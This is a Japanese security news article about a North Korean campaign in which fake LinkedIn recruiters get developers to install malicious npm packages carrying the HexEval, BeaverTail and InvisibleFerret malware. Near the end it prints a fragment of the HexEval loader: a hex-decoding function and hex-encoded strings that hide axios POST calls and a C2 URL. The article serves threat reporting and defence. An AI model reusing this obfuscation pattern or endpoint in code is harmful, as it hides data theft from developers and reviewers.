npm リポジトリを舞台とする新たなキャンペーン:リクルーターを装い開発者に悪意のコードを実行させる

North Korean Hackers as Recruiters Attacking Developers With 35 New Malicious npm Packages

2025/06/25 CyberSecurityNews — 高度なサプライチェーン攻撃キャンペーンを、北朝鮮の脅威アクターが開始した。侵害済みの 24のアカウントに、悪意の npm パッケージ 35個を埋め込み、巧妙なフェイク・リクルートを介して、ソフトウェア開発者を標的としている。このキャンペーンは、OSS エコシステムを標的とする、国家支援のサイバースパイ活動の著しいエスカレーションを示しており、いまも続いている、伝染面接 (Contagious Interview) 作戦の延長とみられている。

これらの悪意のパッケージは、検出されるまでに合計で 4,000回以上もダウンロードされており、発見された時点では、npm レジストリ上の6つのパッケージがアクティブな状態にあった。

この攻撃では、多層的なソーシャル・エンジニアリング手法が活用されている。LinkedIn でリクルーターを装う脅威アクターは、年収 $192,000 〜 $300,00 の魅力的な求人情報で、求職中の開発者にアプローチする。

それらのフェイク・リクルーターは、Google Docs を通じてコーディング課題を配布し、リポジトリのクローン作成や、特定の npm パッケージのインストールを、被害者に指示する。これらのパッケージは、悪意のペイロードの配信メカニズムとして機能している。

このキャンペーンによる被害者は、従来からのマルウェア配布に留まらず、OSS に関する被害者の知識などのプロファイリングを取り込むことで、攻撃対象を個別化し、効率を高めている。

Socket.dev のアナリストたちは、npm エコシステムの継続的な監視を通じて、このキャンペーンを特定したという。それにより、侵害されたシステムへの継続的なアクセスを維持しながら、検出を回避するように設計された、複雑なマルウェア・アーキテクチャが明らかにされた。

以前からのキャンペーン戦術を進化させた脅威アクターたちは、難読化されたマルウェアをダイレクトに埋め込む方法から、オンデマンドでペイロードを取得させる方法へ向けて、ローダー・システムの実装を高度化している。それに加えて、パッケージ・レジストリに残るフォレンジック証拠を、最小限に抑えていると、研究者たちは指摘している。

この攻撃チェーンで採用されているのは、3種類のマルウェア・コンポーネントをネストする、デプロイメント戦略である。HexEval Loader は初期感染ベクターとして機能し、BeaverTail は包括的な情報窃取機能を提供し、InvisibleFerret は持続的なアクセスのためのバックドア機能を確立する。

この階層化アーキテクチャにより、攻撃者は運用上のセキュリティを維持しながら、標的の価値と環境の制約をベースとし、配信すべきペイロードを調整できるという。

A threat actor, posing as a recruiter on LinkedIn (Source – Socket.dev)

このキャンペーンが駆使する高度な技術には、正規のライブラリを模倣したタイポスクワット・パッケージ名/実行環境分析に基づく条件付きペイロード配信/クロスプラットフォームにおけるキーロギング機能の統合などがある。

脅威アクターが採用するソーシャル・エンジニアリング戦術を、求職者とリクルーター間の信頼関係を悪用する巧妙なものである。多くの場合において、コンテナ化された環境の迂回が試行され、画面共有セッション中のホスト・システム上で、ダイレクトにコードを実行するよう、被害者に圧力をかけていたという。

このアプローチが示すのは、開発者のワークフロー/セキュリティ対策に関する深い理解である。そして、キャリアアップを謳うソーシャル・オペレーションに対して、被害者が最も脆弱になる瞬間を狙っている。

HexEval ローダー:高度な回避メカニズム

このキャンペーンにおける、主要な技術革新は HexEval ローダーであり、静的解析と手動によるコードレビューを回避するように設計された、コンパクトなマルウェア配信システムとして機能するものだ。

モジュール名/C2 エンドポイント/実行ロジックなどの重要なコンポーネントが、このローダーにより 6進数エンコードで難読化されるため、ざっと調べただけでは、侵害の意図は見えてこない。

この実装は、シンプルに見える構造の中に、高度な回避手法を巧みに織り込んでいる。

コア機能は、難読化された文字列を、実行時に ASCII 表現へと戻す 16 進デコード関数にある。

function g(h) {
return h.replace(/../g, m => String.fromCharCode(parseInt(m, 16)));
}
const hl = [
g('72657175697265'), // require
g('6178696f73'),     // axios
g('706f7374'),       // post
g('687474703a2f2f69702d636865636b2d7365727665722e76657263656c2e6170702f6170692f69702d636865636b2f32'),
g('7468656e')        // then
];

このエンコード戦略により、文字列ベースのパターン・マッチングを利用する自動スキャン・ツールでは、ローダーのネットワーク通信機能とモジュール依存関係を検出できない。

このローダーは、HTTPS POST リクエストを介して C2 インフラとの通信を確立する。そこで送信される情報には、環境変数/OS の詳細/ホスト名情報/デバイス識別用の MAC アドレスなどの、包括的な機密システム・データが含まれる。

また、このペイロード取得メカニズムでは、条件付き実行ロジックが取り込まれており、リクエストの特性/実行環境の分析などの実行時の条件に基づいて、リモート・サーバは悪意のコードを選択的に配信する。

このアプローチにより、検出作業は複雑化を余儀なくされるため、脅威アクターによる活動を継続し、止まることはない。